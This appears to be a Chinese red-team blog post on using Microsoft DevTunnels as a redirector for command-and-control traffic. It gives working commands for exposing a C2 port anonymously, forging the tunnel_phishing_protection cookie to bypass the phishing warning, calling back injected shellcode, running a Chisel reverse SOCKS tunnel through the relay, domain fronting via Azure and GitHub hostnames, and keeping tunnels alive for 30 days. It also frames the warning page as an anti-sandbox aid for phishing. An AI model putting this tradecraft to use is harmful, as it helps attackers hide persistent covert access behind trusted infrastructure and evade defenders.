什么是 DevTunnel?
开发隧道允许开发人员通过互联网安全地共享本地 Web 服务。它使您能够将本地开发环境与云服务连接起来,与同事共享正在进行的工作,或帮助构建 Webhooks。开发隧道用于临时测试和开发,不适用于生产工作负载。
https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/overview
它们与 Cloudflared、Ngrok 和其他服务有何不同?
DevTunnels 由微软推出。以前,您可能拥有其他隧道解决方案不太受信任的 SSL 证书。在这种情况下,SSL 证书由于由 Microsoft 提供而具有更显着的声誉。您可以使用 Azure 网站实现类似的壮举,但这不是本博客文章的重点。
为什么选择开发隧道?
还记得我们多年来一直强调的,您应该始终在您的活动中使用重定向器吗?您不应该将客户数据托管在云上吗?嗯,DevTunnels 可以帮助解决这个问题。作为一个完全免费的解决方案,您可以利用它并从 NAT 到互联网再打一个洞,然后返回到您的 C2 基础设施 - 仅公开 HTTP(S) C2 接口端口。
有一些陷阱与您常用的 Cloudflare、Ngrok 或其他部署不同,我们将介绍一些障碍以及如何克服它们。
C2 设置 DevTunnel
1)安装DevTunnel
要设置 DevTunnel,请运行 Microsoft 记录的以下命令:
curl -sL https://aka.ms/DevTunnelCliInstall | bash
2) 登录DevTunnel
安装 DevTunnel 后,您必须使用 Microsoft 帐户登录。我相信任何免费的 Microsoft 帐户都可以。
devtunnel user login -d
登录网站后,它将验证您的 CLI 会话。(-d 打开设备代码验证,对服务器有用)
3) 将您的 C2 端口公开到互联网
要公开 TCP 端口 443,请使用以下命令:
devtunnel host -p 443 --allow-anonymous --protocol https
注意:--allow -anonymous命令至关重要,因为它确保除您之外的人也可以访问您的网站。
输出:
4) 如果您感兴趣,请记下 SSL 证书详细信息
这是一个相当不错的证书,即将进入devtunnels.ms
4)问题
您可能认为它是 C2 的障碍,但对于网络钓鱼活动,您可能认为它是一种反沙箱技术,可以减少无头浏览器的抓取。
访问提供的 URL 后,您会看到它会向用户提示一条警报,通知他们正在连接到开发人员隧道。使用 C2 时,您的 C2 很可能无法单击“继续”。见下文:
我们在 BurpSuite 中打开请求,看看它在做什么。
我们可以在上面的请求中看到它添加了
.Tunnels.Relay.WebForwarding.Cookies和tunnel_phishing_protection cookie。
好吧,如果我们必须找出自动更改的.
Tunnels.Relay.WebForwarding.Cookies cookie,那就需要做更多的工作了。值得庆幸的是,如果我们删除它,隧道仍然可以工作!
值得庆幸的是,“继续”按钮的全部目的似乎是确保用户知道他们将进入开发者隧道并小心网络钓鱼。
其他需要注意的事项包括:
X-Ms-Ratelimit 为每分钟 1500 个请求:即使您在许多 shell 上 sleep 0,我怀疑它是否会达到每分钟 1500 个请求。
X-报告-滥用:如果你是一个坏人,那么防御者知道如何报告隧道并关闭它会很有帮助。对于红队和假定违规练习目的,您可能很擅长。
tunnel_phishing_protection Cookie:必须与devtunnels.ms的子域匹配
5) 设置可延展配置文件以使 C2 发挥作用
现在我们知道,我们需要tunnel_phishing_protection cookie来匹配devtunnel命令提供的子域;我们可以将它粘贴到可延展的轮廓中。
6) 生成并测试 shell 代码
我们生成监听器并通过将其注入到进程中来执行它,并且它回调得很好!
为了确保它正确使用隧道,我们还可以使用 BurpSuite 对其进行调试:
Chisel 和隧道设置 DevTunnel
chisel:https: //github.com/jpillora/chisel
Server:
./chisel server -p 80 --reverse --auth user:password
devtunnel host -p 80 --allow-anonymous
Client:
chisel client --auth user:password --header "Cookie: tunnel_phishing_protection=7dgd54kw-80.asse;" https://7dgd54kw-80.asse.devtunnels.ms R:socks
不同的可用域名
我们发现以下域名组合通常也有效。举例来说,您分配的域名是838191911-443.asse.devtunnels.ms;以下也将起作用:
Connect DNS: 838191911-443.asse.devtunnels.ms
Host Header: 838191911-443.asse.devtunnels.ms
Connect DNS: 838191911-443.devtunnels.ms
Host: 838191911-443.devtunnels.ms
Connect DNS: 838191911.asse.devtunnels.ms
Host: 838191911-443.devtunnels.ms
Connect DNS: tunnels-prod-rel-tm.trafficmanager.net
Host: 838191911-443.devtunnels.ms
Connect DNS: v3-asse.cluster.rel.tunnels.api.visualstudio.com
Host: 838191911-443.devtunnels.ms
Connect DNS: tunnels-prod-rel-asse-v3-cluster.southeastasia.cloudapp.azure.com
Host: 838191911-443.devtunnels.ms
Connect DNS: tunnels-prod-rel-asse-v3-tm.trafficmanager.net
Host: 838191911-443.devtunnels.ms
Connect DNS: global.rel.tunnels.api.visualstudio.com
Host: 838191911-443.devtunnels.ms
Connect DNS: gavmor-bookish-enigma-wqjj49q4g35rxw-3000.preview.wppqqq6x6922v9x4.app.github.dev
Host: 838191911-443.devtunnels.ms Connect DNS: preview.wppqqq6x6922v9x4.app.github.dev
Host: 838191911-443.devtunnels.ms Connect DNS: wppqqq6x6922v9x4.app.github.dev
Host: 838191911-443.devtunnels.ms Connect DNS: dev.litsplit.app
Host: 838191911-443.devtunnels.ms
可以看出,域前置的思想主要是有效的。当我们规划 DevTunnels 基础设施以及后端 CDN 的工作方式时,这项工作仍在进行中。
tunnels-prod-rel-tm.trafficmanager.net域会解析为不同的 CNAME ,具体取决于目标所在的地理位置以及解析来源。您还可以利用其他区域的不同 CNAME 来模拟连接回该区域的威胁参与者 C2,而无需部署任何内容。见下文:
缺点
为什么它不适合 C2 使用?
每次隧道失效时,整个子域都会发生变化,因此,如果您的隧道失效,您就会丢失子域,并且可能会被卡住。
然而, Chris Au 发现您可以使用以下方法创建一个持续 30 天的隧道(保留子域名):
devtunnel create -a
devtunnel ports <assetID> update -p 80
devtunnel host <assetID>
另外,如果没有 Accept 标头,则可以不使用 Cookie 标头。
原文始发于微信公众号(红队笔记录):DevTunnel 之c2技术研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论